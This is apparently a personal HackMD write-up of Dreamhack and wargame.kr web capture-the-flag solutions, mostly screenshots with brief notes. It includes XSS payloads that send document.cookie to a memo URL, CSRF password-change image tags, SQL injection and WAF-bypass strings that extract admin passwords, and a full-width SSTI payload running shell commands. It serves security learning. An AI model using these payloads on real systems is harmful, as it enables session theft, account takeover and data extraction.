---
# System prepended metadata

title: Dreamhack Web level 1
tags: [Dreamhack]

---

# Dreamhack Web level 1
#### 1. devtools-sources
![image](https://hackmd.io/_uploads/H1OvePGoll.png)
![image](https://hackmd.io/_uploads/r10PePGjxx.png)
![image](https://hackmd.io/_uploads/BJlOgwzjee.png)
#### 2. cookie
![image](https://hackmd.io/_uploads/BknrJwfjlg.png)
![image](https://hackmd.io/_uploads/SJ_8Jvzoeg.png)
![image](https://hackmd.io/_uploads/rkMOyPfjex.png)
![image](https://hackmd.io/_uploads/B1IKJPfjex.png)
![image](https://hackmd.io/_uploads/r1FqkDzjee.png)
![image](https://hackmd.io/_uploads/B1QjywGseg.png)
#### 3. command-injection-1
![image](https://hackmd.io/_uploads/HkBnxwfsex.png)
![image](https://hackmd.io/_uploads/BkqlZwfsge.png)
![image](https://hackmd.io/_uploads/HypyMwMoex.png)
![image](https://hackmd.io/_uploads/rknVmwfjgl.png)
![image](https://hackmd.io/_uploads/Sy2PXDMoxg.png)
#### 4. pathtraversal
![image](https://hackmd.io/_uploads/B1egSDfsxl.png)
![image](https://hackmd.io/_uploads/B1clrPziel.png)
![image](https://hackmd.io/_uploads/SJmbBwGseg.png)
![image](https://hackmd.io/_uploads/H1R4Bvzige.png)
![image](https://hackmd.io/_uploads/rJGMSDGoex.png)
#### 5. file-download-1
![image](https://hackmd.io/_uploads/BJxM8ofiex.png)
![image](https://hackmd.io/_uploads/HJsQIjfjgx.png)
![image](https://hackmd.io/_uploads/rJVQDozogg.png)
![image](https://hackmd.io/_uploads/B1ErDifsgx.png)
#### 6. Carve Party
![image](https://hackmd.io/_uploads/rkVCujfixl.png)
![image](https://hackmd.io/_uploads/HJsDtjGigx.png)
![image](https://hackmd.io/_uploads/S1J9qofiee.png)
![image](https://hackmd.io/_uploads/rJFcciGsel.png)
#### 7. ex-reg-ex
![image](https://hackmd.io/_uploads/S1dgasfslx.png)
![image](https://hackmd.io/_uploads/S1B-TiGjgl.png)
![image](https://hackmd.io/_uploads/rkqeRsGiex.png)
![image](https://hackmd.io/_uploads/Syt5psMsll.png)
#### 8. phpreg
![image](https://hackmd.io/_uploads/ry_Qgnzile.png)
![image](https://hackmd.io/_uploads/S1SSghfigl.png)
dnynyangang0310
0@00319!+1+13
![image](https://hackmd.io/_uploads/H1yq73Gixl.png)
![image](https://hackmd.io/_uploads/r1mlNnGjge.png)
![image](https://hackmd.io/_uploads/rJNfNhGjgx.png)
#### 9. Flying Chars
![image](https://hackmd.io/_uploads/BJjmMx4seg.png)
![image](https://hackmd.io/_uploads/SJ7IMgNslg.png)
![image](https://hackmd.io/_uploads/SJ957lEsxe.png)
#### 10. 🌱 simple-web-request
![image](https://hackmd.io/_uploads/rJ66VxEigl.png)
![image](https://hackmd.io/_uploads/H1MeBlVoel.png)
![image](https://hackmd.io/_uploads/S1mzBxEixg.png)
![image](https://hackmd.io/_uploads/r1NmSgEseg.png)
![image](https://hackmd.io/_uploads/ryjsHgEixx.png)
![image](https://hackmd.io/_uploads/Bkw6HeVslx.png)
#### 11. session
![image](https://hackmd.io/_uploads/SkCNLlVoee.png)
![image](https://hackmd.io/_uploads/rJPHLgVolg.png)
![image](https://hackmd.io/_uploads/Hk_D8lVsxg.png)
![image](https://hackmd.io/_uploads/rySSvlVilg.png)
![image](https://hackmd.io/_uploads/rJ_W_lEige.png)
![image](https://hackmd.io/_uploads/BJrmueNiex.png)
#### 12. web-misconf-1
![image](https://hackmd.io/_uploads/r1SYFxVsel.png)
![image](https://hackmd.io/_uploads/S1J9KxEolg.png)
![image](https://hackmd.io/_uploads/H1SaYlEoex.png)
![image](https://hackmd.io/_uploads/BJ0pYl4slg.png)
#### 13. php7cmp4re
![image](https://hackmd.io/_uploads/S1rS5lEsgl.png)
![image](https://hackmd.io/_uploads/ryJ8ceNjll.png)
Mã ascii
https://ko.calc-site.com/bases/ascii
ip1:
* 8 - 56
* 7.A - 55 46 65
* 7.9 - 55 46 57
* 7.: - 55 46 58

ip2:
* 2 ký tự
* 74 - 55 52
* chr("74") - J
* 7K
![image](https://hackmd.io/_uploads/S1jEy-Nilg.png)
#### 14. xss-1
![image](https://hackmd.io/_uploads/ry1VbWNjxe.png)
![image](https://hackmd.io/_uploads/HyFE-bVoxe.png)
![image](https://hackmd.io/_uploads/SJLW7WEige.png)
![image](https://hackmd.io/_uploads/rku57ZVixe.png)
`<script>location.href="http://127.0.0.1:8000/memo?memo=hello"+document.cookie;</script>`
![image](https://hackmd.io/_uploads/B13g4W4jxx.png)
![image](https://hackmd.io/_uploads/HJ_ZVZNsge.png)
#### 15. session-basic
![image](https://hackmd.io/_uploads/HkdxmSNsee.png)
![image](https://hackmd.io/_uploads/Byl-mBVjel.png)
![image](https://hackmd.io/_uploads/HJHK4BNilx.png)
![image](https://hackmd.io/_uploads/ByBIEHVsxx.png)
![image](https://hackmd.io/_uploads/ByWCVHNiex.png)
#### 16. simple_sqli
![image](https://hackmd.io/_uploads/r1F1vHVilx.png)
![image](https://hackmd.io/_uploads/SJIgPSEjge.png)
![image](https://hackmd.io/_uploads/HJWbwSVigl.png)
#### 17. xss-2
![image](https://hackmd.io/_uploads/HkZrurEjeg.png)
![image](https://hackmd.io/_uploads/HyLw_HEigx.png)
![image](https://hackmd.io/_uploads/H1i_OrEsxl.png)
`<img src="x" onerror="location.href='http://127.0.0.1:8000/memo?memo='+document.cookie;">`
![image](https://hackmd.io/_uploads/rkvB5HNsgl.png)
![image](https://hackmd.io/_uploads/BymP9rEiel.png)
#### 18. csrf-1
![image](https://hackmd.io/_uploads/HJD73BEigx.png)
![image](https://hackmd.io/_uploads/r13E2H4sgg.png)
![image](https://hackmd.io/_uploads/ByKB3BEsxx.png)
![image](https://hackmd.io/_uploads/HkS8nBEoge.png)
![image](https://hackmd.io/_uploads/B1ishSEsxe.png)
`<img src=/admin/notice_flag?userid=admin>`
![image](https://hackmd.io/_uploads/HJjbTrEjxg.png)
![image](https://hackmd.io/_uploads/rkzXpSNjle.png)
#### 19. csrf-2
![image](https://hackmd.io/_uploads/H1ZOeI4sle.png)
![image](https://hackmd.io/_uploads/S15FlI4oxx.png)
![image](https://hackmd.io/_uploads/r1tcgLNilx.png)
![image](https://hackmd.io/_uploads/By7jxIVjex.png)
guest:guest
![image](https://hackmd.io/_uploads/S1bJZI4slx.png)
`<img src="/change_password?pw=admin">`
![image](https://hackmd.io/_uploads/HJipbLVjge.png)
login admin:admin
![image](https://hackmd.io/_uploads/BkrZGLEsgg.png)
#### 20. simple-ssti
![image](https://hackmd.io/_uploads/ByniaB4oxl.png)
![image](https://hackmd.io/_uploads/Hy7yRBVole.png)
![image](https://hackmd.io/_uploads/H1VHy8Nsge.png)
#### 21. image-storage
![image](https://hackmd.io/_uploads/ByJxsLEsgg.png)
![image](https://hackmd.io/_uploads/BJGr98Nslx.png)
![image](https://hackmd.io/_uploads/rJKv5L4igg.png)
![image](https://hackmd.io/_uploads/rJgsqLVoll.png)
![image](https://hackmd.io/_uploads/BJQzi8Viee.png)
#### 22. simple_sqli_chatgpt
![image](https://hackmd.io/_uploads/BkDQTLNiee.png)
![image](https://hackmd.io/_uploads/HJcL6L4oxg.png)
![image](https://hackmd.io/_uploads/SyW30U4ole.png)
![image](https://hackmd.io/_uploads/r123C84iee.png)
#### 23. XSS Filtering Bypass
![image](https://hackmd.io/_uploads/BkC31Zrsxg.png)
![image](https://hackmd.io/_uploads/H1Ka1bSsxl.png)
![image](https://hackmd.io/_uploads/HkePg-Bjgl.png)
![image](https://hackmd.io/_uploads/SyCPgbrsgl.png)
`<sscriptcript>alert('XSS')</sscriptcript>`
![image](https://hackmd.io/_uploads/ryV_NbSiel.png)
```
<Script>alert(1)</Script>
```
![image](https://hackmd.io/_uploads/ByFnNZSolx.png)
`<Script>locatioonn.href="http://127.0.0.1:8000/memo?memo="+document.cookie;</Script>`
![image](https://hackmd.io/_uploads/ry3l_Zrjge.png)
![image](https://hackmd.io/_uploads/SkjZOZrill.png)
#### 24. proxy-1
![image](https://hackmd.io/_uploads/H1YjOZrsgg.png)
![image](https://hackmd.io/_uploads/Syw2KbHsgx.png)
![image](https://hackmd.io/_uploads/H1rs9ZBiee.png)
![image](https://hackmd.io/_uploads/BkBJs-Hoxl.png)
#### 25. php-1
![image](https://hackmd.io/_uploads/HktNi-Boex.png)
![image](https://hackmd.io/_uploads/HylUsbHjeg.png)
![image](https://hackmd.io/_uploads/Hk-b1GHsxg.png)
![image](https://hackmd.io/_uploads/B13ekfSjll.png)
![image](https://hackmd.io/_uploads/SJpZkfSixl.png)
#### 26. command-injection-chatgpt
![image](https://hackmd.io/_uploads/BkaIjUBogl.png)
![image](https://hackmd.io/_uploads/B1Hoj8Boee.png)
![image](https://hackmd.io/_uploads/SkmL1DBill.png)
#### 27. Base64 based
![image](https://hackmd.io/_uploads/BJFplPrjee.png)
![image](https://hackmd.io/_uploads/SJrg-DHile.png)
![image](https://hackmd.io/_uploads/r1FbbPBiex.png)
![image](https://hackmd.io/_uploads/rybSGDrogl.png)
![image](https://hackmd.io/_uploads/HJH8fDHolx.png)
![image](https://hackmd.io/_uploads/rk7AzDBsee.png)
![image](https://hackmd.io/_uploads/HymkQPrsel.png)
#### 28. error based sql injection
![image](https://hackmd.io/_uploads/BJIbCSUogg.png)
![image](https://hackmd.io/_uploads/Symr0S8ixe.png)
![image](https://hackmd.io/_uploads/rJhhCrUoee.png)
![image](https://hackmd.io/_uploads/rkqTRBIoex.png)
![image](https://hackmd.io/_uploads/SJ_uxIIjee.png)
```
AND EXTRACTVALUE(1337,CONCAT('.','~',(SELECT version()),'~')) -- -
AND UPDATEXML(1337,CONCAT('.','~',(SELECT version()),'~'),31337) -- -
```
![image](https://hackmd.io/_uploads/B1T5ZLIsll.png)
```
' AND extractvalue(1, concat(0x7e, substring((SELECT upw FROM user WHERE uid='admin'),1,20),0x7e))-- 
' AND extractvalue(1, concat(0x7e, substring((SELECT upw FROM user WHERE uid='admin'),20,50),0x7e))-- 
```
![image](https://hackmd.io/_uploads/BJzm7I8ill.png)
![image](https://hackmd.io/_uploads/S1bVmL8igx.png)
#### 29. sql injection bypass WAF
![image](https://hackmd.io/_uploads/r1Hj7ILjee.png)
![image](https://hackmd.io/_uploads/SkInXLUogg.png)
![image](https://hackmd.io/_uploads/Syz-4IUile.png)
![image](https://hackmd.io/_uploads/rJzz4LUieg.png)
![image](https://hackmd.io/_uploads/H1kfYILjex.png)
%09 - TAB (\t - Horizontal Tab)
```
'Union	Select	idx,uid,upw	From	user	where	uid="Admin"#
'Union	Select	null,idx,upw	From	user	where	uid="Admin"#
```
![image](https://hackmd.io/_uploads/Hy-VsILixl.png)
`'Union	Select	1,upw,3	From	user	where	uid="Admin"#`
![image](https://hackmd.io/_uploads/r1zcsILsxg.png)
#### 30. baby-union
![image](https://hackmd.io/_uploads/S1uznLIseg.png)
![image](https://hackmd.io/_uploads/ByCQ38Isge.png)
![image](https://hackmd.io/_uploads/Hk14TUIill.png)
Tìm vị trí có thể chèn
![image](https://hackmd.io/_uploads/SJ_xAIUoel.png)
Tìm tên bảng CSDL, tìm được bảng onlyflag
```
uid=admin&upw=apple'union select table_name,2,3,4 from information_schema.tables#
```
![image](https://hackmd.io/_uploads/Skul1DUjgl.png)
Tìm cột trong bảng onlyflag
```
uid=admin&upw=apple'union select column_name,2,3,4 from information_schema.columns where table_name='onlyflag'
```
![image](https://hackmd.io/_uploads/SkFOJDIjeg.png)
Lấy flag
![image](https://hackmd.io/_uploads/BJw3gPLoxx.png)
#### 31. CSRF Advanced
![image](https://hackmd.io/_uploads/Bk0MGqPjxx.png)
![image](https://hackmd.io/_uploads/HyM4G9Dile.png)
![image](https://hackmd.io/_uploads/rkh4fcDige.png)
![image](https://hackmd.io/_uploads/ryIkm5Dsll.png)
/login:
* username - admin
* request.remote_addr - 127.0.0.1

![image](https://hackmd.io/_uploads/HJWiV5voeg.png)
`<img src="/change_password?pw=admin&csrftoken=7505b9c72ab4aa94b1a4ed7b207b67fb">`
![image](https://hackmd.io/_uploads/rkCxHqwsee.png)
![image](https://hackmd.io/_uploads/B17mLqPieg.png)
login admin:admin
![image](https://hackmd.io/_uploads/HJc4B5Pieg.png)
#### 32. Command Injection Advanced
![image](https://hackmd.io/_uploads/BynTLqDiee.png)
curl link and save to folder cache
![image](https://hackmd.io/_uploads/B1_DdcPoxx.png)
![image](https://hackmd.io/_uploads/BkGrc5Dolg.png)
https only using shell github
![image](https://hackmd.io/_uploads/HJuUkswsxe.png)
![image](https://hackmd.io/_uploads/BymQJjwjgx.png)
![image](https://hackmd.io/_uploads/ryRmyswjee.png)
![image](https://hackmd.io/_uploads/BkNSyoDslg.png)
![image](https://hackmd.io/_uploads/HJoTJjvjex.png)
#### 33. [wargame.kr] login filtering
![image](https://hackmd.io/_uploads/By9deiwixg.png)
![image](https://hackmd.io/_uploads/HyFcljvolg.png)
trim: If there are spaces in the input value, remove them.
mysqli_real_escape_string: This is an escaping to prevent SQL injection. (Escape special characters (e.g., ', ", \, NULL) by adding a backslash ( \) in front of them.) However, this function can be bypassed depending on logical vulnerabilities or other DB settings.
In PHP, "Guest" != "guest" is not blocked. → Blocking bypass succeeded.
However, MySQL queries can successfully log in by judging the equality regardless of case .
![image](https://hackmd.io/_uploads/SyV3zsviee.png)
#### 34. [wargame.kr] strcmp
![image](https://hackmd.io/_uploads/Bkuh7jPixx.png)
![image](https://hackmd.io/_uploads/BkNT7jDjle.png)
The strcmp written in the problem is a function that compares strings.
If A<B, then negative value
If A>B, then positive value
If A=B, return 0
Since I don't know of any vulnerabilities related to PHP, I looked it up on Google and found that in certain versions of PHP, if you input an array as an argument to strcmp(), NULL is returned.
Also, it is said that PHP returns True when comparing NULL and 0 with ==.
Therefore, modify the highlighted password part above into an array like password[].
![image](https://hackmd.io/_uploads/HkhUIoPsgl.png)
![image](https://hackmd.io/_uploads/r1tPUjDigx.png)
#### 35. what-is-my-ip
![image](https://hackmd.io/_uploads/ByBgvsvsxl.png)
![image](https://hackmd.io/_uploads/HkFFwiDsle.png)
![image](https://hackmd.io/_uploads/Skjz_jwjxx.png)
![image](https://hackmd.io/_uploads/Sk8jdjvsee.png)
![image](https://hackmd.io/_uploads/HJshdoPige.png)
#### 36. simple-phparse
![image](https://hackmd.io/_uploads/ByLZ5oDjle.png)
![image](https://hackmd.io/_uploads/ryVmqswigx.png)
![image](https://hackmd.io/_uploads/ByJcqsDsge.png)
![image](https://hackmd.io/_uploads/r1bjcoDjll.png)
#### 37. File Vulnerability Advanced for linux
![image](https://hackmd.io/_uploads/SydgDyYsgl.png)
![image](https://hackmd.io/_uploads/B1gKDJKjeg.png)
![image](https://hackmd.io/_uploads/B1LV_1Foee.png)
![image](https://hackmd.io/_uploads/rk-OOkKiee.png)
![image](https://hackmd.io/_uploads/HJMiOJtsxx.png)
![image](https://hackmd.io/_uploads/rJKWtkFoge.png)
![image](https://hackmd.io/_uploads/ryjBF1Yjge.png)
#### 38. Apache htaccess
![image](https://hackmd.io/_uploads/HkxhYyKixg.png)
![image](https://hackmd.io/_uploads/ByWRKkYogl.png)
![image](https://hackmd.io/_uploads/By5_51Yjeg.png)
![image](https://hackmd.io/_uploads/H1wJikKsxx.png)
![image](https://hackmd.io/_uploads/ryQMiJtjlg.png)
![image](https://hackmd.io/_uploads/S1s7iyKjxg.png)
![image](https://hackmd.io/_uploads/ByHrjktilg.png)
![image](https://hackmd.io/_uploads/HkuUs1tjlx.png)
#### 39. BypassIF
![image](https://hackmd.io/_uploads/rkL_31Figg.png)
![image](https://hackmd.io/_uploads/SJLXRkKjxe.png)
![image](https://hackmd.io/_uploads/rke5R1tjee.png)
![image](https://hackmd.io/_uploads/HJiqC1tjlx.png)
![image](https://hackmd.io/_uploads/B1B11xtslx.png)
![image](https://hackmd.io/_uploads/HkrJeeYoxg.png)
![image](https://hackmd.io/_uploads/SJCglgKslg.png)
#### 40. NoSQL-CouchDB
![image](https://hackmd.io/_uploads/SkrezgFjgx.png)
![image](https://hackmd.io/_uploads/rJuDMeKsgx.png)
![image](https://hackmd.io/_uploads/rkpR7xFoxx.png)
![image](https://hackmd.io/_uploads/B1Ky4gYjlg.png)
![image](https://hackmd.io/_uploads/H1NqBltsxe.png)
![image](https://hackmd.io/_uploads/S13urxYjle.png)
![image](https://hackmd.io/_uploads/SkY3reYole.png)
#### 41. Type c-j
![image](https://hackmd.io/_uploads/rysWPgFoex.png)
![image](https://hackmd.io/_uploads/Sk2APlFiex.png)
![image](https://hackmd.io/_uploads/S1VLdlYiex.png)
#### 42. random-test
![image](https://hackmd.io/_uploads/ry95_xKiee.png)
![image](https://hackmd.io/_uploads/S1EE3xKsgl.png)
![image](https://hackmd.io/_uploads/ByVo6xtieg.png)
![image](https://hackmd.io/_uploads/HkxG-CeKoex.png)
![image](https://hackmd.io/_uploads/r1Pzy-Yjxg.png)
![image](https://hackmd.io/_uploads/rJhVkZFsxg.png)
![image](https://hackmd.io/_uploads/BJ7UyZtjle.png)
![image](https://hackmd.io/_uploads/BybtybFoxg.png)
![image](https://hackmd.io/_uploads/BJCKyWtoel.png)
![image](https://hackmd.io/_uploads/BkgjJWtilx.png)
#### 43. [wargame.kr] tmitter
![image](https://hackmd.io/_uploads/rJUqqtFixg.png)
![image](https://hackmd.io/_uploads/HyJsqKtsex.png)
![image](https://hackmd.io/_uploads/HJ9bittjel.png)
![image](https://hackmd.io/_uploads/ryJSjFYole.png)
create account and user name have max 33 character
admin                           a:12345678
login
![image](https://hackmd.io/_uploads/BJdAjFFjex.png)
#### 44. out of money
![image](https://hackmd.io/_uploads/BJgP3FKill.png)
![image](https://hackmd.io/_uploads/B1E_nFYigl.png)
![image](https://hackmd.io/_uploads/S1YY2KFoel.png)
![image](https://hackmd.io/_uploads/HJ2s2Ktjlx.png)
![image](https://hackmd.io/_uploads/rywYAYFiex.png)
![image](https://hackmd.io/_uploads/rkRYRYtoeg.png)
![image](https://hackmd.io/_uploads/S1P5RYFilx.png)
![image](https://hackmd.io/_uploads/Bkrs0YYjex.png)
borrow 2000
![image](https://hackmd.io/_uploads/SknEy9Foeg.png)
change to DHC
![image](https://hackmd.io/_uploads/HJAuJ5Yoeg.png)
I used the DHC coins I had as collateral on the /dream page.
![image](https://hackmd.io/_uploads/Sk0TycKsge.png)
I tried borrowing 1000 DHD coins 3 times using that collateral.
![image](https://hackmd.io/_uploads/SJdggcFjxg.png)
I went back to the /santa page and converted the borrowed DHD coins into DHH coins.
![image](https://hackmd.io/_uploads/HJR4xcKixx.png)
To eliminate the debt, I entered -2000 in the DHH borrowing input box to eliminate the debt.
![image](https://hackmd.io/_uploads/BJ8UecYsgx.png)
Finally buy flag
![image](https://hackmd.io/_uploads/B1Sugctill.png)
#### 45. mongoboard
![image](https://hackmd.io/_uploads/HJCmbqtsee.png)
![image](https://hackmd.io/_uploads/S1qEbcYsgx.png)
![image](https://hackmd.io/_uploads/H1SBWqFjgl.png)
![image](https://hackmd.io/_uploads/rk-jz5tolx.png)
![image](https://hackmd.io/_uploads/HyaFm9toel.png)
![image](https://hackmd.io/_uploads/SkZONqtjgl.png)
https://www.mongodb.com/docs/manual/reference/method/ObjectId/
ObjectId = TimeStamp(4 byte) + Machine ID (3 byte) + Process ID (2 byte) + Counter (3 byte)

| # | ObjectId | Timestamp (4 byte)| Machine ID (3 byte) | PID (2 byte) | Counter (3 byte) | UTC | Title | User |
| - | -------- | ----------------- | ------------------- | ------------ | ---------------- | --- | ----- | ---- |
| 1 | `68cc1272c815361c46547dbf`   | `68cc1272` → 1756502450 | `c81536` | `1c46` | `547dbf` | 2025-09-18 14:08:50 | Hello | guest |
| 2 | `68cc1277c815361c46547dc0`   | `68cc1277` → 1756502455 | `c81536` | `1c46` | `547dc0` | 2025-09-18 14:08:55 | Mongo  | guest |
| 3 |`68cc127ac815361c46547dc1` | `68cc127a` → 1756502458 | `c81536` | `1c46` |`547dc1` | 2025-09-18 14:08:58 | FLAG | admin |
| 4 | `68cc127bc815361c46547dc2` | `68cc127b` → 1756502459 | `c81536` | `1c46` |`547dc2` | 2025-09-18 14:08:59 | Good | guest |

-> Counter admin = 547dc1
-> Timestamp = between 68cc1277 and 68cc127b
| publish_date | Epoch | Hex (big-endian) |
| -------------| ------| ---------------- |
| 2025-09-18 14:08:55Z | **1756502455** | `0x68cc1277`|
| 2025-09-18 14:08:58Z | **1756502458** | `0x68cc127a`|

-> id: 68cc1277c815361c46547dc1
![image](https://hackmd.io/_uploads/SkuAtcFjex.png)
#### 46. [wargame.kr] fly me to the moon
![image](https://hackmd.io/_uploads/HJ0Q5R5seg.png)
using https://beautifier.io/
![image](https://hackmd.io/_uploads/SkJvaCcixx.png)
![image](https://hackmd.io/_uploads/HJZXiA9sgg.png)
![image](https://hackmd.io/_uploads/Hk3DjCcixx.png)
![image](https://hackmd.io/_uploads/r1P9nAqsxx.png)
![image](https://hackmd.io/_uploads/S10i205igg.png)
![image](https://hackmd.io/_uploads/BJtA309sge.png)
![image](https://hackmd.io/_uploads/BJslaRqjxl.png)
#### 47. amocafe
![image](https://hackmd.io/_uploads/S1NspCcigg.png)
![image](https://hackmd.io/_uploads/S1tsAR9ill.png)
![image](https://hackmd.io/_uploads/SyrlyJooge.png)
![image](https://hackmd.io/_uploads/BkXW1Jisxl.png)
#### 48. Broken Buffalo Wings
![image](https://hackmd.io/_uploads/S1o_lkisee.png)
![image](https://hackmd.io/_uploads/H1itlysslx.png)
![image](https://hackmd.io/_uploads/Hyq7WJisgl.png)
![image](https://hackmd.io/_uploads/rJPVWyoslg.png)
![image](https://hackmd.io/_uploads/ByevbJssxe.png)
![image](https://hackmd.io/_uploads/B1WyfJijll.png)
#### 49. [wargame.kr] type confusion
![image](https://hackmd.io/_uploads/BJg2MN3jle.png)
ANY VALUE WHICH WE INPUT WILL BE DECODED TO JSON OBJECT (EXP: {"key":"test"} → key=>test ) .ON THE ORDER HAND, THIS CHALLENGE FORCES US TO INPUT A JSON STRING WITH FORM {"key":blabla}, base error form ==, not comepare type of data
![image](https://hackmd.io/_uploads/HJZi4E2jgl.png)
#### 50. baby-Case
![image](https://hackmd.io/_uploads/SyCpLNhjgg.png)
![image](https://hackmd.io/_uploads/ry4mPNnseg.png)
![image](https://hackmd.io/_uploads/HJpg_V2sgl.png)
![image](https://hackmd.io/_uploads/BJdKvEhjlx.png)
![image](https://hackmd.io/_uploads/r1ONKNnigl.png)
![image](https://hackmd.io/_uploads/BkLzYVnsel.png)
#### 51. Click me!
![image](https://hackmd.io/_uploads/SyEKEl6jxg.png)
when hover the button move to another location
![image](https://hackmd.io/_uploads/Byzn4x6oll.png)
![image](https://hackmd.io/_uploads/SJn64l6ixl.png)
#### 52. Pearfect Markdown
![image](https://hackmd.io/_uploads/SylSSxpsxl.png)
![image](https://hackmd.io/_uploads/SJ-UrgTogx.png)
![image](https://hackmd.io/_uploads/Bkn8Hx6sxl.png)
![image](https://hackmd.io/_uploads/BJwPSl6sxe.png)
![image](https://hackmd.io/_uploads/rkMOSeasxx.png)
include()
![image](https://hackmd.io/_uploads/Syik8epogg.png)
![image](https://hackmd.io/_uploads/SykWIx6igx.png)
![image](https://hackmd.io/_uploads/H1lwIl6sgl.png)
![image](https://hackmd.io/_uploads/ryCO8xaiee.png)
![image](https://hackmd.io/_uploads/rk46Ll6sll.png)
![image](https://hackmd.io/_uploads/BJtRLe6ieg.png)
![image](https://hackmd.io/_uploads/rkEPugTsgx.png)
![image](https://hackmd.io/_uploads/By3ytg6jex.png)
![image](https://hackmd.io/_uploads/S1HgFeaogx.png)
![image](https://hackmd.io/_uploads/HyV5Pe6oxe.png)
![image](https://hackmd.io/_uploads/HJqivxpjex.png)
![image](https://hackmd.io/_uploads/r1Deugpseg.png)
![image](https://hackmd.io/_uploads/SJ5WOxajee.png)
#### 53. Ctrl-C
![image](https://hackmd.io/_uploads/BkIzA_6ige.png)
![image](https://hackmd.io/_uploads/BknvA_pseg.png)
![image](https://hackmd.io/_uploads/rJuBJY6jel.png)
#### 54. Test Your Luck
![image](https://hackmd.io/_uploads/r11Rlt6ilx.png)
![image](https://hackmd.io/_uploads/BJokZFaoxg.png)
![image](https://hackmd.io/_uploads/BJuSGt6ixx.png)
![image](https://hackmd.io/_uploads/H1YvMYTieg.png)
![image](https://hackmd.io/_uploads/SJLOzFajge.png)
![image](https://hackmd.io/_uploads/r1sFftTogg.png)
![image](https://hackmd.io/_uploads/H13qGKTiex.png)
#### 55. baby-ai
![image](https://hackmd.io/_uploads/rJYj7F6sel.png)
![image](https://hackmd.io/_uploads/H1RhXF6igg.png)
![image](https://hackmd.io/_uploads/BydaEKpogg.png)
#### 56. access-log
![image](https://hackmd.io/_uploads/ByN-8Y6ogg.png)
![image](https://hackmd.io/_uploads/H1SzLYaigg.png)
![image](https://hackmd.io/_uploads/By3kPKaoge.png)
look like sqli blind, find with !=
![image](https://hackmd.io/_uploads/rJJFwtpsle.png)
it change the position to find the flag
![image](https://hackmd.io/_uploads/rkoAwtpole.png)
68 72 123 97 110 65 49 121 122 49 110 71 86 101 51 121 66 49 57 76 48 103 125
![image](https://hackmd.io/_uploads/SynkdKajel.png)
#### 57. Where-is-localhost
![image](https://hackmd.io/_uploads/BJIfoEAole.png)
block ipv4 so i using ipv6
![image](https://hackmd.io/_uploads/By8G2VRjxg.png)
#### 58. Simple Note Manager
![image](https://hackmd.io/_uploads/r10lEB0ogx.png)
![image](https://hackmd.io/_uploads/BJtF1BCsll.png)
![image](https://hackmd.io/_uploads/HyPbGrRigl.png)
![image](https://hackmd.io/_uploads/BJO6yHCjeg.png)
![image](https://hackmd.io/_uploads/HkiR1BCsgx.png)
![image](https://hackmd.io/_uploads/H1mBzHAjle.png)
![image](https://hackmd.io/_uploads/Bk78zrAjge.png)
![image](https://hackmd.io/_uploads/rkVhXrAsxx.png)
![image](https://hackmd.io/_uploads/SyVamSAile.png)
#### 59. [wargame.kr] already got
![image](https://hackmd.io/_uploads/HyMcUHAoxg.png)
![image](https://hackmd.io/_uploads/BkbsIrCigx.png)
#### 60. My Best Friend
![image](https://hackmd.io/_uploads/HycMOr0oeg.png)
![image](https://hackmd.io/_uploads/BJcuOr0sxx.png)
![image](https://hackmd.io/_uploads/Skn5oHCill.png)
![image](https://hackmd.io/_uploads/HkqX9HRiee.png)
![image](https://hackmd.io/_uploads/rknRjHAiex.png)
#### 61.
just remove charactor
![image](https://hackmd.io/_uploads/HkWDTrRsgx.png)
![image](https://hackmd.io/_uploads/SyyZTSCjgg.png)
#### 62. Hangul - Revenge
![image](https://hackmd.io/_uploads/HJAXoq0sxg.png)
unicodedata.normalize("NFKC", message)
If you look at this part, you can see that the message value received as input is normalized to Unicode.
using full-width characters
https://dencode.com/en/string/character-width
｛｛７＊７｝｝
![image](https://hackmd.io/_uploads/HkTfj90igx.png)
｛｛ｃｏｎｆｉｇ．ｉｔｅｍｓ（）｝｝
![image](https://hackmd.io/_uploads/HyX2s5Aogl.png)
｛｛ｃｏｎｆｉｇ．＿＿ｃｌａｓｓ＿＿．＿＿ｉｎｉｔ＿＿．＿＿ｇｌｏｂａｌｓ＿＿［＇ｏｓ＇］．ｐｏｐｅｎ（＇ｌｓ＇）．ｒｅａｄ（）｝｝
![image](https://hackmd.io/_uploads/ryNm29Ailx.png)
｛｛ｃｏｎｆｉｇ．＿＿ｃｌａｓｓ＿＿．＿＿ｉｎｉｔ＿＿．＿＿ｇｌｏｂａｌｓ＿＿［＇ｏｓ＇］．ｐｏｐｅｎ（＇ｃａｔ　ｆｌａｇ＇）．ｒｅａｄ（）｝｝
![image](https://hackmd.io/_uploads/HJLS35Aogx.png)
#### 63. Logical
![image](https://hackmd.io/_uploads/Bkxo1kJ3ge.png)
![image](https://hackmd.io/_uploads/r1LkX11ngl.png)
uname can be empty and query return list empty
condition return just check the uname == name so just use empty uname and random password
![image](https://hackmd.io/_uploads/HJK_Eky3ll.png)
![image](https://hackmd.io/_uploads/rkTKEkyhgl.png)
#### 64. Dream Badge
![image](https://hackmd.io/_uploads/H1sO5pknge.png)
![image](https://hackmd.io/_uploads/Sk1iipynxx.png)
![image](https://hackmd.io/_uploads/Syznja13lg.png)
![image](https://hackmd.io/_uploads/r1DajpJhxx.png)
#### 65. Really Not SQL
![image](https://hackmd.io/_uploads/r1Oe07W2xx.png)
![image](https://hackmd.io/_uploads/HymZCQ-hlx.png)
![image](https://hackmd.io/_uploads/BJWfCQbnee.png)
![image](https://hackmd.io/_uploads/HkufAQZ2lg.png)
![image](https://hackmd.io/_uploads/Hy1pA7-neg.png)
we can use another method like PUT
![image](https://hackmd.io/_uploads/Syd11VZhxx.png)
we can upload file to /var/www/html/user, so we can change password user admin
![image](https://hackmd.io/_uploads/r18C1Nb3ex.png)
![image](https://hackmd.io/_uploads/rktSxVWhxg.png)
![image](https://hackmd.io/_uploads/ryodgNW3xe.png)
![image](https://hackmd.io/_uploads/BJrYx4-2ex.png)
now we can login by admin:admin
![image](https://hackmd.io/_uploads/SyjoeV-hgl.png)
to get flag we need the session user admin, i save the cookie and use to get the flag
![image](https://hackmd.io/_uploads/S1NK-V-hxl.png)
or we can using curl -T can upload shell to /user, this method may be quicker
![image](https://hackmd.io/_uploads/HkprQ4Znee.png)
#### 66. ez_race
![image](https://hackmd.io/_uploads/BynJENZhee.png)
to get flag, we need key
key is random 1-100 and if wrong gen new key, we have to guess one number from 1 to 100 within 3 seconds
![image](https://hackmd.io/_uploads/ByZ7u4b3le.png)
![image](https://hackmd.io/_uploads/BJIAySZhgg.png)
![image](https://hackmd.io/_uploads/HkE1lHZhgl.png)
![image](https://hackmd.io/_uploads/B1IelSb2ge.png)
![image](https://hackmd.io/_uploads/SkHzlHZ3ll.png)
